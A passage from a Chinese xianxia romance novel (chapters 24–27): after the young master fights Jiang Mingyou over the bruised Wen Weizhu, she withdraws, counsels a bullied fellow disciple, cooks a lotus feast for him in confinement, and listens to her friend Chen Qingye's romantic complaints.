笑完,冰冷的铁扇抬起温微竹的下巴,蒋明祐明艳的脸上是冰冷的威胁:“今天我就放过你,不过以后可不要惹我不开心,你其实也明白,你说的那些,我都不在乎。”
温微竹一动不动,只是直直看着蒋明祐。
蒋明祐冷笑着拍了拍温微竹的脸,“可惜你不是我喜欢的类型,不然我还真想尝尝你的味道。”
温微竹的眉头下意识地皱了起来,强忍着拍开蒋明祐的冲动,紧咬的嘴唇,脸上肌肉都快因隐忍而颤抖。
“你在干什么?”
随着铿锵一声长剑出鞘,冰冷的剑气骤然袭来,直击蒋明祐拍在温微竹脸颊上的左手。
蒋明祐侧身躲开,看见来人,眉目一转,笑道:“栗师弟,真巧啊。”
栗烈将温微竹拉至身后,冷厉出声:“一点也不巧。”
温微竹未曾想眼看事情要结束,少宗主却突然冒出来。
她只想快点了事,离开这个地方。
伸手拉住少宗主白色的衣袖,温微竹抬头尚未发声,就见回头的少宗主眼眸蓦然变得深不见底。
温微竹下意识捂住依旧疼痛的脖颈,却被少宗主强势拨开。
他的手抚上温微竹脖颈上的掐痕,深邃的眼底掀起狂风暴雨,他几乎咬着牙问:“蒋明祐弄的?”
温微竹浑身僵硬,一言不发。
栗烈理解为温微竹这是敢怒不敢言。
她可是被他大声一点说话就被吓到的人,在蒋明祐这个疯子面前,只怕是吓傻了,哪里还敢反抗。
蒋明祐见栗烈眼里只有温微竹,那心疼的模样着实新鲜,忍不住在一旁添油加醋,“不过是……”
话未说完,剑气裹着浓重的杀意直击而来。
蒋明祐忙挥扇抵挡,难以置信道:“你认真的?”。
刚才那一下浓烈的杀气,若是他不及时抵挡,直接可以要他命。
栗烈却对他的质疑充耳不闻,剑气直逼
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蒋明祐命门,招招致命:“我是不是警告过你,不许动她!”
栗烈的愤怒超乎蒋明祐的想象。
他还从未见栗烈因为一件事生气到这程度。
他也没了闲心开玩笑,只专心应对栗烈的攻击。
从少宗主的触碰中回过神来的温微竹发现那两人已经不顾场合,在藏书阁大打特打起来,心中一阵烦躁。
她只想安静地处理完这件事,不想成为大众的谈资。
那两人斗得昏天暗地,不顾书籍与书架也不顾他人死活。
温微竹烦躁地在原地踱步,转头听见人群吵嚷声渐近,明显是有人听见这边的动静跑过来看情况。
温微竹不想在此种情况下被万众瞩目,她咬咬牙,看了与蒋明祐打得专心致志的少宗主一眼,最后还是在人群来到之前,转身离去。
蒋明祐率先注意到温微竹离开的背影,挡住栗烈猛烈一击,嘲讽道:“你喜爱的小师妹,可是丢下你自己跑咯。”
栗烈皱眉,不信蒋明祐的胡言乱语,待抽空一看,却发现周边人群围观,却找不到温微竹的半分身影。
“你把人家当心肝宝贝,人家说不定嫌你多事,只想和你划清界限。”蒋明祐继续言语攻击。
他的心里自然知道,温微竹如今的处境,肯定不想暴露人前。
戳到栗烈的痛处,栗烈神色越发难看,下手更是不留情面。
“只怕你的一片真心,要打水漂了。”
蒋明祐说完,忍不住开心笑起来。
从他嘴里说出的话,栗烈绝对不会信。
可栗烈哪知,他说的竟是真话呢。
那温微竹为了无息仙尊才接近的栗烈。
等日后真相大白,想想那时栗烈的表情,蒋明祐就觉得到时候戏一定很好看。
温微竹避开人群之后,在藏书阁寻找于文峥的身影。
终于在准备看热闹的人群中找到于文峥。
温微竹顾不上于文峥周围一堆人,上前喊住于文峥,将于文峥叫到一旁。
于文峥看见温微竹,刚想问她怎么了,就注意到温微竹脖子上显眼的掐痕。
于文峥挥别其他人,从人群中走出,神色震惊走到温微竹身边,关切地问:“温师妹,你脖子是怎么回事?谁欺负你了?”
温微竹没时间跟他解释这么多。
将少宗主与蒋明祐在里面起冲突的事情简单说了,让于文峥赶紧过去拉住他们。
于文峥一听,立刻明白,蒋明祐找温微竹的茬,然后少宗主找蒋明祐算账去了。
这蒋明祐,就是跟少宗主过不去了!
他拔腿准备过去,却见温微竹在原地不动,回头催道:“温师妹,走啊!”
人群熙熙攘攘,全朝着事件中心方向而去,只有温微竹在人潮中矗立不动。
她嗫嚅着,却没有开口。
时间一点点流逝,温微竹始终没有动。
于文峥的眼睛渐渐睁大,明白了什么。
他难以置信地脱口道:“温师妹,你……”
温微竹向于文峥投去歉意的眼神,“于师兄,跟我向少宗主说声感谢,我就不过去了。就当这件事与我无关。”
24. 弃少宗主而去
“什么叫这件事与你无关?”
于文峥向前两步,想找温微竹要个答案,却发现温微竹往后退了退。
他停下脚步,一时之间仿若没认识过眼前的人。
那个温婉认真,言笑嫣然的温师妹仿若一个泡影,在他眼前渐次破碎。
“我只是一个普通的杂役弟子。”温微竹抬眸对上于文峥失望的目光,“我不想成为蒋明祐师兄与少宗主争强斗胜的棋子。”
愠怒爬上于文峥的脸庞,但在目光触及温微竹脖颈上的淤青时,他的瞳孔颤了颤,最终他什么也没说,转身离去。
温微竹不自然摸了摸脖子,她看不到,但疼痛蔓延,一直蔓延到全身。
她想那伤痕必定触目惊心。
从各处聚集而来的人越来越多,无人在意温微竹,温微竹亦未抬头看其他人一眼。
温微竹独自回了云萃峰。
灰乌鸦最近被喂胖了不少,连院子都不出了,天天就在院子里等温微竹的投喂。
原先光秃秃只剩一株植物的院子,现在种满了各种各样的灵植,大部分是培植的幼苗,因为灵深峰现在处于规划重建期,空间不够,温微竹就把培植幼苗的地挪到了这里。
最开始温微竹抱着奢望留下的那株植物最终证明只是一颗普通的杂草。
在温微竹准备在院子里培植幼苗的时候,直接拔掉了。
灰乌鸦在看见温微竹的第一眼就朝她开心地飞扑过去,见温微竹没理它,嘎嘎叫两声,就又飞回自己的窝里去了。
温微竹来到无息仙尊的房间,将储物袋里的灵石尽数倒在床上。
堆成小山的上品灵石闪着耀眼的灵光。
多少普通人一辈子也得不到这些。
灵石的光芒照耀着无息仙尊的脸庞。
眉骨突出,鼻梁高挺,下颌的弧度瘦削而冷漠。
即使如今无息仙尊已经不如最初般骨瘦如柴,但依旧比常人瘦削。
血肉长出,皮肤却透着病态的苍白。
温微竹知道,那是因为导致无息仙尊昏迷的根源没有解决。
而那个根源才是关键。
下半夜的时候,温微竹被噩梦惊醒便再也没有睡着。
她干脆起身,坐在院子里修炼。
盛夏的喧嚣不知何时已经接近尾声,温微竹记得她刚来内门的时候,还是夏季正热的时候。
转眼间,时光已经飞速流逝。
最近吃了不少灵物,温微竹体内灵力丰富,对修炼也有些微的帮助。
修炼了几个时辰,温微竹感觉自己的境界隐隐有些松动。
虽然只是练气期,但至少也是有进步,微末修为也是修为。
日头渐起,温微竹起身,再次走入灵物百科课堂。
课堂内人群熙熙攘攘,却不复昨日的繁华。
温微竹一向安静,从不参与别的弟子之间的谈话。
而此刻,翻着书的她不想听也不得不听周边几个人围在一起讨论的事情。
“少宗主今日肯定不可能来上课了,我听说少宗主被宗主罚关禁闭了!”
“真的假的?我怎么听说是蒋师兄被关禁闭了?”
“少宗主和蒋师兄都关禁闭了!”有一个插入的女弟子带来可靠消息,“你们不知道昨日藏书阁发生的事情吗?”
明显不清楚前因后果的另外几个女弟子急忙凑过去问:“怎么回事?发生了什么?”
“昨日在藏书阁少宗主与蒋师兄大打出手,毁了藏书阁好多的书架和书。宗主和管理藏书阁的墨言长老大发雷霆,将少宗主和蒋师兄都罚了半个月的禁闭!”
“少宗主与蒋师兄怎么在藏书阁打起来了?”一群人双眼放光,嗷嗷待哺。
“我听最先赶到现场的弟子说,好像是为了一个女弟子,但是长什么样没看清。不过少宗主与蒋师兄都不承认,也不说为什么打架,横竖就是看对方不顺眼,所以就打起来了。”
“乱传的吧。少宗主和蒋师兄不合很多年了,常常因为一点小事就打起来,也就这两年打得少了。”
“对啊,少宗主不近女色,蒋师兄万花丛中过片叶不沾身,他们怎么都不可能因为一个女弟子打起来。我不信。”
“我不信。”
“我也不信。”
……
“你们不信也没办法,反正既然有这样的传言,总归不会空穴来风,上一次在中堂广场,当时不就有一个女弟子嘛。”
“不会是真的吧?”
众人将信将疑。
课堂马上就要开始了,少宗主还没出现。
显然验证了少宗主被关禁闭的传言。
温微竹关上书,在课堂开始之时,从后面静静离开了课堂。
走出课堂,却发现外面不知何时下起了雨。
整个夏天,都没有一点雨滴落下。
这场突如其来的雨,就像是在宣告酷热夏季的戛然而止。
温微竹没有带伞,站在屋檐下,望着雨帘发呆。
少宗主没有出现在课堂,与少宗主形影不离的于文峥也没有出现。
八卦与谣言,在口口相传中,总是变得格外可怖。
捕风捉影的东西,只要有一个人抓住了蛛丝马迹,那么,原本隐秘甚至是不存在的事实,都极有可能变成板上钉钉的事情。
她的存在,暴露在众人面前,也只是时间问题。
温微竹伸出手,任凭冰冷的雨点打在手掌上。
她现在已经不知道,当初靠近少宗主到底是对是错。
“师姐。”
一声呼唤打断了温微竹的沉思。
温微竹侧头一看,撑着伞的少女静静地站在雨幕之中。
相比上一次的愤懑,这一次要安静平和得多。
哪怕这一次,少女的脸上还明显带着淤青。
多久没见来着?
上一次见面似乎已经是很久之前,可仔细一回想,好像也就是前不久。
是这段日子过得太安逸了吧?
忽然觉得时间好像过了很久。
“有什么事吗?”温微竹望着雨帘问。
少女收了伞,与温微竹并肩站着屋檐下。
四周安静得只有雨水滴落的声音,偶尔从课堂之中传来弟子们的起哄声。
“我是特意来找你的。”少女说。
温微竹连头都没抬,敷衍的“嗯”了一声。
“师姐不用担心我来纠缠你。”少女手杵着伞,带着伤痕的脸上却带着轻松的笑意。
温微竹不由侧头
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看她。
“我来只是想问,师姐,可知我的名字?”少女将淋湿的碎发捋了捋,转身殷切地看向温微竹。
温微竹瞟了对方一眼就收回视线,语气与上一次一样漠然,“我知不知道你的名字有什么所谓?”
少女轻笑了一声,“师姐,你不用对我这么冷漠,我不会再对你怨怼愤恨,你说得对,没有谁有义务拯救我,我应该自己拯救自己。”
温微竹不由再次看向少女。
她隐约感觉少女变了,似乎并不是她的错觉。
一段时间没见,少女真的成长了不少。
见温微竹终于愿意正眼看自己,少女露出友善的微笑,“师姐,我们重新认识一遍吧,我叫邓芳芳,你叫什么名字?”
“温微竹。”温微竹简短回答。
“可以聊聊吗?”邓芳芳问。
两人打着伞,找了个安静的小亭子坐着。
亭子外的雨淅淅沥沥,亭内两人安静望着彼此。
邓芳芳指指自己脸上的淤青,笑着问:“温师姐,对我脸上的伤不感兴趣吗?以前我脸上可从来没带过伤。”
“不感兴趣。”
比起邓芳芳带着伤口招摇过市,温微竹出门前就将脖颈上的伤口用药遮住了,完全看不出来。
温微竹不感兴趣但也不妨碍邓芳芳想要分享的心。
“伤很疼,但我一点也不难过。”
邓芳芳戳了一下伤口,疼得嘶了一声,却还很开心,仿佛那不是伤口,而是勋章。
“你知道这伤口怎么来的吗?”
邓芳芳絮絮叨叨说着,哪怕温微竹一声不吭,她也说得兴致盎然。
“我跟陈典说,你会罩着我,如果他敢欺负我,你会帮我出头。”
邓芳芳模仿着那时的情况,温微竹凝眸看向站在自己面前少女。
比起之前等待救赎的可悲模样,此刻的少女,充满了活力。
温微竹的嘴角不由微微翘起。
一个人只有自己找到生存之道,才能看见未来的光。
邓芳芳还在继续说:“结果陈典说,你是谁啊,她会罩着你,她知道你名吗?就在这里空口白说。”
邓芳芳歪头做思考状。
“我一想,还真是,我们还没互通姓名,这招用得也太漏洞百出了。”
“就如你所看见的,最终被陈典狠狠教训了一通。”
邓芳芳在座位上坐下。
“但我不难过,也不觉得人生无望,因为我发现我可以尝试自己救自己,虽然失败了,但那是因为没经验,等有经验了,我总会成功的。”
温微竹静静看着眼前焕发了新的生命力的少女,仿佛看到了熟悉的影子。
邓芳芳认认真真看向温微竹,“温师姐,我以前从来没想过自己可以救自己,连这种想法都没有过。”
“上次你跟我说只有自己才能救自己之后,我就想,我那么弱,怎么可能自己救自己呢?你不过是运气好,所以站着说话不腰疼。”
“可日子一天一天过去,真难熬啊。就想着,要么死了算了,反正也不可能等到人来救我。可我转念又想啊,反正都要死,不如拼一把呢,直接死也是死,自救不成也是死。”
“结果发现,也没那么难。”
25. 见不到少宗主的一天
温微竹敲了敲桌面,打断邓芳芳的喋喋不休。
“你之前说陈典是哪个峰的?”温微竹开口问。
“万青峰,怎么了?温师姐现在想帮我教训他了?”邓芳芳开玩笑问。
“万青峰的主事长老是丁长老?”
“对呀,怎么了?”
温微竹沉思,朝邓芳芳露出一个神秘的笑:“没什么,有事找陈典帮帮忙。”
邓芳芳一头雾水。
温微竹站起来,走到凉亭口。
“你知道你为什么失败吗?”温微竹回头看向少女,“既然谎言已经说出口,就要让自己相信这就是事实,给自己一种哪怕对峙也不怕的底气。”
邓芳芳瞪大了双眼望着温微竹。
温微竹嘴角微勾,“就算我不知道你的名字又如何?你让陈典来找我核实,他会吗?他见我如老鼠见了猫,大概率不会来找我核实,就算他真的来找我核实,你怎么确定我会不会心血来潮就帮你一把?就算是最差的情况,他发现你骗了他,这中间的时间差,也够你想无数种其他对策来解决问题。”
温微竹拾起邓芳芳立在一旁的油纸伞,平日里总是温驯纯良的眼眸里闪过一丝狡黠。
“总比你当场心虚被戳穿挨打强,对吧?”
背景的雨声消失不见,邓芳芳的耳朵里只有温微竹清润的嗓音。
那一声声,如夏日烈火,让她整个血液沸腾。
就是这个。
失败后,她无数次复盘自己错在什么地方。
可终归寻不出关键点。
只觉得,这种狐假虎威的路子行不通。
温微竹的话让她醍醐灌顶,仿佛一个系死的结,被温微竹三言两语就轻易解开了。
邓芳芳盛满星光的双眸未被温微竹察觉,她撑开白色的油纸伞,一朵朵鲜艳的梅花绽放。
她撑着伞,替这个从苦难中觉醒的少女出谋划策。
“你不是想摆脱被欺负的命运吗?”
白色油纸伞下的女子抬起单薄的眼皮,一改往日温驯好欺负的模样,焕发出熠熠夺目的光辉。
“想要稳坐小团体的老大,要么他有绝对的实力,要么他有足够的人格魅力。你觉得陈典具有哪样?”
邓芳芳仿佛打通了任督二脉,脑子里将陈典与他的狐朋狗友过了个遍。
她忍不住站起身,激动道:“你是让我挑拨他们小团体的关系?”
温微竹挑眉,露出欣慰的笑容。
随后不知道是想到了什么,自言自语般道:“你有这样的脑子,为何还会在深渊里窝囊到现在。”
邓芳芳如坠冰窟。
是啊。
她为什么会在那暗无天日的地狱里呆那么久?
她只知道自己弱。
却不知,将她封在地狱里的那个盖子,其实不用别人帮她打开,是可以自己打开的。
“借你伞一用,不会还的。”说完,温微竹转身走入雨幕。
走了一段路,当周边空无一人时,温微竹用传送符来到了灵深峰。
往常这会,她要给新挪的苗浇水,今日下雨,浇水的事可以省了。
温微竹仔仔细细检查了所有灵植,确定没有灵植被雨水冲走,最后才回到院子走廊里。
整个院子空荡荡的,只有雨水的声音。
温微竹第一次发现,原来这个院子这么大,走廊有这么长。
她将院子里的所有房间都查看了一遍,确定没有少宗主的身影。
今日不需要做午饭了吧。
温微竹收起伞,站在厨房门口,一时有些茫茫然。
之前答应少宗主的臭豆腐,卤水因为前段时间温度高,发酵得差不多了。
她决定今日先把豆腐做了,这样等过几天,臭豆腐就可以吃了。
说干就干,温微竹开始把泡好的豆子磨了,过滤,做豆腐。
豆腐很快就做好,只等发酵。
温微竹一时又陷入无所事事的状态。
在灵深峰漫无目的的闲逛了几圈,站在一池荷塘面前,脑子里突然冒出一个想法。
于文峥是被栗烈赶回来的。
他苦口婆心,跟栗烈讲了半天,无论出于何种原因,温微竹都不应该在那种时候转身跑掉。
结果栗烈一个字没听进去。
问了他时辰,便让他回灵深峰,说怕温微竹回灵深峰等着给他做饭。
于文峥都快气死了,道:“你还想着她会给你做饭,搞不好她离开之后,觉得无颜面对你,就干脆跑掉了!”
“别胡说八道!”栗烈皱着眉头制止他。
禁闭室暗黑无光,双方都看不见对方的表情。
于文峥头一次发现,吃货少宗主貌似是个恋爱脑。
“听我一句劝,你们不合适。”于文峥语重心长。
“合不合适不是你说了算。你不用管那么多,你去灵深峰,跟她说我这几天不回去,让她不用过去给我做饭。”
于文峥咬牙切齿,他气冲冲来到灵深峰,他一定要给栗烈证明,他看错了人!
从回到灵深峰,于文峥就用留影珠记录自己的所见所闻。
“你看看,没人吧。”于文峥率先进了厨房,一个人影没有。
出了厨房,于文峥放眼望去,除了这没完没了的雨,鬼影都没一个。
他沿着走廊,每一间房都看一遍。
不出意外,一个人也没有。
直到他总结陈词时,发现荷塘旁边的栅栏旁,有一把白色的油纸伞。
油纸伞摆在地上,却没有半个人影。
之前又没下雨,灵深峰绝对不可能有伞。
而能来灵深峰的,只有少宗主、他、还有……
于文峥心中一咯噔。
温微竹不会是深知自己做错了,无颜面对少宗主,一时想不开,跳水自尽了吧?
于文峥极速飞过去,烟雨朦胧中,只见一个背影漂浮在水面,素青色的衣衫,那个人不就是……
于文峥急忙跳入水中,快步涉水过去,正要动手,却见那个一直浮在水上的背影突然直起腰,手中溅起一片淤泥,正甩在于文峥的脸上。
温微竹抓着手中的藕,弯腰想洗洗淤泥,眼角瞟到一片素青色,吓得跌倒在水塘里,扑腾了好几下,才在水池中站稳。
“于、于师兄,你怎么在这里?”
于文峥就着雨水抹了抹脸上的淤泥,咬着牙道:“我还想问你,你下雨天,在池塘里
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干什么?”
温微竹举了举手中的藕,“我感觉夏天快要结束了,觉得正是吃藕的好时候,所以挖点藕准备给少宗主做点美食。”
“现在在下雨,一定要现在挖吗?而且灵深峰一个人也没有,你杂灵根的修为,要是淹死在这池塘里,怎么,等少宗主闭关回来,看你发臭的尸体?!”
温微竹被训得一言不发,愣愣站在原地。
这乖顺受教的模样让于文峥也发不出太大火来。
他心中对温微竹在藏书阁独自逃跑的行为非常气愤,但还不至于想要看到对方莫名其妙死掉。
而且,真要是在少宗主关禁闭期间,温微竹有个三长两短,等少宗主出来了,不得扒了他的皮。
他真是个操心的命。
“别挖了!快点从水里出来!”于文峥捧了点池水洗了把脸,把脸上的淤泥都洗净。
“藕还不太够,我再挖点。”温微竹抱着藕节弱弱说。
于文峥气得头都大了。
他扶额,朝温微竹挥挥手,“你回去,还要多少,我来挖。”
温微竹洗着手里的藕节,一脸无辜地说:“多挖点吧,我打算顺便做点藕粉。”
于文峥气短,他叉腰,气鼓鼓地望着温微竹,最后长长吸了口气。
压下自己的怒气,他告诉自己,莫生气,气出病来无人替。
心平气和之后,于文峥道:“行,行,我把整个池塘都给你挖完,行了吧?”
于文峥弯腰挖出一节大藕丢给温微竹。
“你赶紧上去,就你这杂灵根的修为,淋雨是打算生病上演苦肉计,让少宗主原谅你是吧?休想!”
温微竹接过被于文峥强行丢过来的藕节,欲言又止。
在于文峥的再三催促下,温微竹抱着怀里的藕往回走了几步。
最后,她还是停下脚步,转过身来,不太理解地问:“少宗主会生我气?”
于文峥整个人都要炸了,“怎么,你觉得少宗主不应该生气吗?他是为了给你出头,才跟蒋明祐打起来的,结果你跑了!如果是你,你不生气吗?”
雨水打在头上,顺着额头流下,温微竹的眼睛有些睁不开。
她蹙了蹙眉,道:“如果是我,我就不会多管闲事。”
“什么?”于文峥简直不敢相信自己听到了什么,“你觉得少宗主替你出头,是多管闲事?”
温微竹认真点点头,“当时,少宗主不出现的话,我与蒋明祐就直接分道扬镳了。”
于文峥很不爽,少宗主替温微竹出头,结果被说成多管闲事。
当时出现在那里的人,若是换做是他,看见温微竹脖颈上的伤痕,他也绝对不会放任不管。
温微竹倒好,竟然说是多管闲事!
“那你脖子上的伤痕怎么说?”将刚挖点藕节一丢,于文峥问。
雨水冲刷下,温微竹用来遮住伤痕的药膏悉数被冲走。
抹过药之后,那里的淤紫比昨日好了很多,但还是能清晰看见指印。
温微竹愣了一下,垂眸道:“那个已经处理完了。”
“怎么处理的?”于文峥叉着腰追问。
温微竹张张嘴,雨水打在脸上,温微竹又闭上了嘴。
26. 少宗主的引导与等待
“想也知道,就白被掐了呗。”于文峥气得侧过身去,都不想看见她。
温微竹无言。
不白被掐,还能怎样?
她能保全自己已是不易,又岂能要求更多?
“温师妹,你到底是怎么看少宗主和我的?”
于文峥还是忍不住转过身来,心软给温微竹打了结界,不让温微竹一直淋在雨中。
温微竹的脸上有一瞬间的茫然。
这似乎难倒了她。
于文峥叹了口气,“我们把你当朋友,你又把我们当什么?”
说完,于文峥用灵力把温微竹送回岸上。
“你自己想想吧。”
温微竹抱着洗干净的藕节,站在走廊尽头。
于文峥送她上来后,给她掐了净身诀和烘干诀。
她现在干干净净,清清爽爽,仿佛刚才淋成落汤鸡的那个人不是她一样。
温微竹抱着藕节往厨房方向走了几步,回头看几眼于文峥,又往回走。
朋友?
朋友??
她一直觉得她与他们是雇佣与被雇佣的关系。
朋友?
事实上,温微竹不太明白朋友的含义。
她身边唯一有称得上朋友的人,只有陈青叶。
但她不太喜欢这样的关系。
想起陈青叶,温微竹不由皱眉。
如果朋友是那样的话,比起朋友,温微竹更喜欢现在这种雇佣与被雇佣的关系。
到了厨房,将藕节清洗干净,切段,去皮,雕花。
她打算做个酸红藕,鲜脆酸甜,适合当夏日小食。
将藕片热水下锅,焯水,捞出放入冷水中。
藕片准备结束,温微竹需要去准备另外一样食材。
于文峥挖完藕回来,又找不到温微竹的身影。
就在他将藕丢在地上,想,这人怎么这么不安生,转头看见温微竹摘了不知道什么红得发黑的果子走进来。
湿淋淋的模样,是完全没把他之前的话听见耳朵里。
于文峥心情格外不爽,于是决定不让其他人好过。
他偷偷地开启与少宗主的传音,清了清嗓子,故意抬高声音,确保两人都能听见。
“说吧,你就是想让自己生病,然后让少宗主动恻隐之心,是不是?”
温微竹不知道于文峥为什么忽然好像就正式起来。
她低头看了一眼湿漉漉的自己,不觉得自己在拿自己的身体开玩笑。
“我的身体没那么脆弱。”
温微竹提着装了龙晴的篮子绕开于文峥走到水池边,将龙晴倒入木盆之中。
“没那么脆弱?”
于文峥冷笑,心想,真应该让少宗主好好来教育她一顿。
“虽然我才炼气初期,但并不像凡人一样脆弱。”
温微竹撒了点盐放入水中,头都没抬,“况且,你可以帮我用个烘干诀,就淋了一下雨,没事的。”
“为什么淋雨?”少宗主的声音突兀地在厨房内响起。
温微竹讶然看向四周,却并没有看见人影。
于文峥抬了抬腰间的玉符,露出坏事得逞的笑,抽出玉符,对着玉符道:“当然是为了给你做好吃的,去现采的藕,现摘的果子。”
“采藕?外面在下雨?”
栗烈被关的禁闭室在主峰后山洞穴里,又黑又冷,还与世隔绝,根本不知道外面下雨了。
于文峥特意将玉符伸出门外,好让少宗主那边能将雨声听得更真切一些。
“对啊,冒雨挖藕,可把她给能耐的。要不是我回来得及时,她是不是成了池子里的养料都不好说。”
于文峥添油加醋告状。
这个状必须得告,不能让他一个人不爽。
玉符那边陷入短暂的沉默。
温微竹没见人已经感受到那种压迫感了。
最开始和少宗主相处的时候,还偶然能感受到这种让人不敢反抗的威压,但最近已经很久没有感受过了。
今日,隔着玉符,温微竹竟然都能想象到少宗主不悦的神色。
“没于师兄说的那么严重,池塘里水不深。”温微竹下意识解释。
“但那里面都是淤泥,你不知道淤泥多危险,轻轻松松要你小命。”于文峥绝不让温微竹轻易敷衍过去。
温微竹:“……”
玉符对面的少宗主沉默了一会,蓦然开口:“为什么采藕?”
这话显然是对着温微竹说的。
“想给你做点酸红藕片。”温微竹老老实实回答。
“今日我没在灵深峰。”
显然刚才的理由少宗主并不认可。
温微竹哑然。
少宗主又道:“说话。”
“我觉得收了报酬不做事不太好。”温微竹声音弱了一些。
“今日的报酬还没给你。”
“……”温微竹一时竟不知道如何回答,只得说:“以往的报酬已经很丰厚了。”
少宗主默然片刻,随后问:“知道我现在在哪吗?”
温微竹答:“她们说你关禁闭了。”
少宗主:“那你也知道我不会回灵深峰。”
这下温微竹连借口也找不到了。
她总不能说,她是灵机一动,忽然心血来潮想做吧。
见温微竹被问得哑口无言,于文峥终于爽了。
空气静静地流淌,三人都未说话。
“明知道我不在,还做?”
少宗主的声音透过玉符传来,有些失真,透着莫名的醇厚。
于文峥本来在一旁挺乐哉的,忽然觉得气氛有些不对劲。
温微竹不说话,对面的少宗主也不说话。
但周边的空气却透着莫名暧昧的味道。
意识到什么的于文峥差点脱口而出脏话。
“你们要聊自己聊去,又不是没有联系方式!”于文峥说完,当即毫不犹豫掐断了通讯。
于文峥这边刚掐断,温微竹的传音螺就响了。
温微竹拿起来一听,少宗主给她留言:做好了,让于文峥带过来。
温微竹抬头看向于文峥,于文峥不满,“你们两个说悄悄话,看我干嘛?我又不会偷听!”
“少宗主说等我做好,让你送过去。”温微竹放下传音螺道。
于文峥从来没有哪一刻,如此刻这般觉得自己命苦。
“禁闭室进不去!”于文峥抢过温微竹的传音螺,传音过去。
于文峥气鼓鼓的。
温微竹拿起亮起来的传音螺,替少宗主传达:“少宗主让你自己想办法。”
于文峥抱臂冷笑,“行吧,搞我是吧。”
温微竹很无辜。
于文峥脸上露出诡异的笑容。<
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p>他没再说什么,温微竹只觉得浑身毛毛的,转身过去继续做事。
温微竹做东西的时候,于文峥就一直在旁边盯着温微竹看。
温微竹实在忍不住,问:“于师兄,你在看什么?”
于文峥只露出意味不明的笑,“没事,你继续。”
一个时辰后,温微竹用莲花、荷叶、莲藕,几乎做了一个全荷宴。
于文峥惊为天人,忍不住流口水:“温师妹,你这做的也太有食欲了。禁闭室黑漆漆什么也看不见,真是浪费了这漂亮的摆盘。”
温微竹愣了一下,“禁闭室不能自己点个灯吗?”
“禁闭室有灵力限制。”于文峥拿筷子偷偷夹了个藕夹。
温微竹噎了一下,“就煤油灯,不需要灵力的那种。”
于文峥嚼东西的嘴顿住。
修仙之人用灵力习惯了,没有凡人那些用具的概念。
“我也没有……”
于文峥感觉自己仿佛打开了新世界的大门。
他一个修仙者,竟然在向凡人靠拢。
这……
危矣。
栗烈盘腿打坐,听见窸窸窣窣的声响。
他知道,是于文峥过来了。
禁闭室漆黑一片,以修仙之人的实力,不至于完全看不清,但也只能看到模糊的影子。
朝他走过来的影子有点奇怪,不太像于文峥,栗烈警惕道:“谁?”
没一会,那个身影在他的不远处停了下来。
他听到了熟悉的声音。
“少宗主,是我,温微竹。”
栗烈:“……”
栗烈扶额,甩甩手,道:“把东西放下,滚吧。”
“少宗主,你怎么这么过分?嘤嘤嘤……”
栗烈忍无可忍,一把将人影拽住,警告道:“于文峥,你这嗓子是不想要了是吧?”
“唉,别,别……”
于文峥急忙双手捂住自己的脖子,生怕栗烈一个生气就折了他脖子。
“我就跟你开个玩笑,至于吗?”
“很恶心。”
栗烈像嫌弃垃圾一样一把将于文峥推开。
于文峥不爽地把提的食盒放下。
“我装得这么不像吗?我感觉还挺像的。”
栗烈不想跟他说话。
于文峥点燃温微竹给他的煤油灯,道:“温师妹给你带的,可怜你呆在黑漆漆的地方。”
栗烈视线不由被闪烁着温暖光芒的煤油灯吸引。
禁闭室虽然又黑又冷,但对于他们这种修行之人来说,并没什么。
但这盏小小的煤油灯,却还是照亮了这一方世界。
“看在温师妹冒雨给你弄吃的份上,我就原谅她吧。”
于文峥刚说完,似乎想到什么,皱着眉头道:“温师妹不会是真的上演了一出苦肉计吧?在此之前,我可是在心里发重誓,绝不原谅她来着,结果,我就这么原谅她了?”
将食盒里色香味俱全的美食拿出来摆好,栗烈冷冷淡淡道:“她不需要你的原谅。”
“啧,”于文峥不满道:“你这人怎么这个样子,你就说在藏书阁,她就那么跑了,没错吗?没错吗?”
栗烈夹了一块酸红藕片放入嘴中。
酸甜爽脆,美味又开胃。
将嘴里的食物咽下,栗烈才开口道:“给她一点时间。”
27. 琵琶别抱
温微竹从灵深峰出来之后,雨又停了。
夏季的阵雨,说来就来,说走就走。
温微竹收起伞,走回云萃峰。
远远的,温微竹就看见一个熟悉的人影,站在院子外围,在空中摸索着什么。
温微竹神色一凛。
这段时间事情太多,她差点忘了,云萃峰还有陈青叶和胡司敬可以进来。
温微竹疾步上前,装作意外道:“青叶,你怎么在这?”
正在空中推拉的陈青叶看见温微竹,瞬间两眼红红,扑进温微竹的怀里。
她嘤嘤道:“微竹,你终于回来了,不知道是不是我的令牌出问题了,这里好像有结界,进不去。”
“进不去?”温微竹心中狐疑,偷偷伸手试了试,发现好像并没什么问题。
难道是废剑听了她的话?不但阻止了无息仙尊的未婚妻,其他人也阻止了?
温微竹将陈青叶推开一点,道:“我试试,最近不知道是不是无息仙尊身体变差了,结界经常出问题。”
伸出手,温微竹做出手被空中无形结界挡住的模样,用力推了推。
“我也进不去。”温微竹收回手,思考一番,对陈青叶道:“青叶,这样,我们去别的地方先坐一会,估计过半天,这结界就又好了,最近常常这样。”
温微竹这一套操作下来,陈青叶看得一愣一愣的,想到温微竹一直在如此恶劣的情形下生活,顿时心声怜悯。
“微竹,要不我还是跟胡司敬说说,想办法帮你换个地吧。”陈青叶顺嘴道,“这个地方也太……”
都不知道怎么形容。
“没事。”温微竹露出温柔的笑容,“你别让胡师兄为难。”
陈青叶嘟着嘴,不开心,“他为难什么为难,他现在脾气可大了,今日还跟我吵架!”
说起陈青叶就呜呜想哭。
怪不得只有陈青叶一个人自己过来,原来是两人吵架了。
两人一起下山,温微竹关切地问:“你们怎么吵架了?”
陈青叶苦着脸,闷声不说话。
温微竹对这两人的感情纠葛不感兴趣。
但两人若是动不动就去云萃峰,也很烦人。
过了好一会,陈青叶才抹了抹眼角的泪,嘟囔道:“就是,有个师兄对我好一点,胡司敬就跟我发脾气,说我想要攀高枝。”
说到胡司敬的错处,陈青叶的声音不知不觉就大起来。
“他怎么能这样?乱给我安罪名,别人喜欢我,又不是我的错,怪我长得好看咯。”
陈青叶又拉住温微竹的胳膊,靠在温微竹的肩膀上控诉。
“微竹,你说他们男人怎么这样?自己自卑,就把错都怪到我们女人身上。那我长得好看,别人喜欢我不很正常嘛,他竟然说我勾三搭四,不知廉耻……”
陈青叶越说越气,“你都不知道,我当时真想跟王师兄好算了。让胡司敬用那么难听的话说我!”
一直安静倾听的温微竹忽然开口道:“王师兄?”
“啊,就是那个喜欢我的师兄。就因为王师兄修为比胡司敬高,长得也比胡司敬高,出手还大方,经常送这送那给我,他自己自卑,就天天朝我发脾气。”
